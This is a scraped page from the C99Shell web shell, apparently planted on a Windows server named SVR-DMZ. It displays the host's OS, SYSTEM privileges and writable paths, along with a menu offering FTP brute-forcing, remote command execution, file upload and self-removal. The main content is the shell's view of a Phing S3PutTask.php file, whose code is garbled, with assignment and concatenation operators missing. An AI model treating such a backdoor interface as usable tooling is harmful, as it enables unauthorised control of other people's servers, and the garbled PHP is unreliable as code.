!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\phing\tasks\ext\Service\Amazon\S3\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     S3PutTask.php (5.57 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 *  $Id: S3PutTask.php 1184 2011-06-22 13:36:56Z mrook $
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * This software consists of voluntary contributions made by many individuals
 * and is licensed under the LGPL. For more information please see
 * <http://phing.info>. 
 */

require_once dirname(dirname(__FILE__)) . '/S3.php';

/**
 * Stores an object on S3
 * 
 * @version $Id: S3PutTask.php 1184 2011-06-22 13:36:56Z mrook $
 * @package phing.tasks.ext
 * @author Andrei Serdeliuc <andrei@serdeliuc.ro>
 * @extends Service_Amazon_S3
 */
class S3PutTask extends Service_Amazon_S3
{
    
/**
     * File we're trying to upload
     *
     * (default value: null)
     * 
     * @var string
     * @access protected
     */
    
protected $_source null;

    
/**
     * Content we're trying to upload
     *
     * The user can specify either a file to upload or just a bit of content
     *
     * (default value: null)
     * 
     * @var mixed
     * @access protected
     */
    
protected $_content null;
    
    
/**
     * Collection of filesets
     * Used for uploading multiple files
     * 
     * (default value: array())
     * 
     * @var array
     * @access protected
     */
    
protected $_filesets = array();
    
    
/**
     * Whether to try to create buckets or not
     * 
     * (default value: false)
     * 
     * @var bool
     * @access protected
     */
    
protected $_createBuckets false;
    
    public function 
setSource($source)
    {
        if(!
is_readable($source)) {
            throw new 
BuildException('Source is not readable: ' $source);
        }

        
$this->_source $source;
    }
    
    public function 
getSource()
    {
        if(
$this->_source === null) {
            throw new 
BuildException('Source is not set');
        }
        
        return 
$this->_source;
    }

    public function 
setContent($content)
    {
        if(empty(
$content) || !is_string($content)) {
            throw new 
BuildException('Content must be a non-empty string');
        }
        
        
$this->_content $content;
    }
    
    public function 
getContent()
    {
        if(
$this->_content === null) {
            throw new 
BuildException('Content is not set');
        }
        
        return 
$this->_content;
    }

    public function 
setObject($object)
    {
        if(empty(
$object) || !is_string($object)) {
            throw new 
BuildException('Object must be a non-empty string');
        }
        
        
$this->_object $object;
    }
    
    public function 
getObject()
    {
        if(
$this->_object === null) {
            throw new 
BuildException('Object is not set');
        }
        
        return 
$this->_object;
    }

    public function 
setCreateBuckets($createBuckets)
    {
        
$this->_createBuckets = (bool) $createBuckets;
    }

    public function 
getCreateBuckets()
    {
        return (bool) 
$this->_createBuckets;
    }

    
/**
     * creator for _filesets
     * 
     * @access public
     * @return FileSet
     */
    
public function createFileset()
    {
        
$num array_push($this->_filesets, new FileSet());
        return 
$this->_filesets[$num-1];
    }

    
/**
     * getter for _filesets
     * 
     * @access public
     * @return array
     */
    
public function getFilesets()
    {
        return 
$this->_filesets;
    }

    
/**
     * Determines what we're going to store in the object
     * 
     * If _content has been set, this will get stored,
     * otherwise, we read from _source
     *
     * @access public
     * @return string
     */
    
public function getObjectData()
    {
        try {
            
$content $this->getContent();
        } catch(
BuildException $e) {
            
$source $this->getSource();
            
            if(!
is_file($source)) {
                throw new 
BuildException('Currently only files can be used as source');
            }
            
            
$content file_get_contents($source);
        }
        
        return 
$content;
    }
    
    
/**
     * Store the object on S3
     * 
     * @access public
     * @return void
     */
    
public function execute()
    {
        if(!
$this->isBucketAvailable()) {
            if(!
$this->getCreateBuckets()) {
                throw new 
BuildException('Bucket doesn\'t exist and createBuckets not specified');
            } else{
                if(!
$this->createBucket()) {
                    throw new 
BuildException('Bucket cannot be created');
                }
            }
        }
        
        
// Filesets take precedence
        
if(!empty($this->_filesets)) {
            
$objects = array();
            
            foreach(
$this->_filesets as $fs) {
                if(!(
$fs instanceof FileSet)) {
                    continue;
                }

                
$ds $fs->getDirectoryScanner($this->getProject());
                
$objects array_merge($objects$ds->getIncludedFiles());
            }
            
            
$fromDir $fs->getDir($this->getProject())->getAbsolutePath();
            
            foreach(
$objects as $object) {
                
$this->saveObject($objectfile_get_contents($fromDir DIRECTORY_SEPARATOR $object));
            }
            
            return 
true;
        }
        
        
$this->saveObject($this->getObject(), $this->getObjectData());
    }

    protected function 
saveObject($object$data)
    {
        
$object $this->getObjectInstance($object);
        
$object->data $data;
        
$object->save();
        
        if(!
$this->isObjectAvailable($object->key)) {
            throw new 
BuildException('Upload failed');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--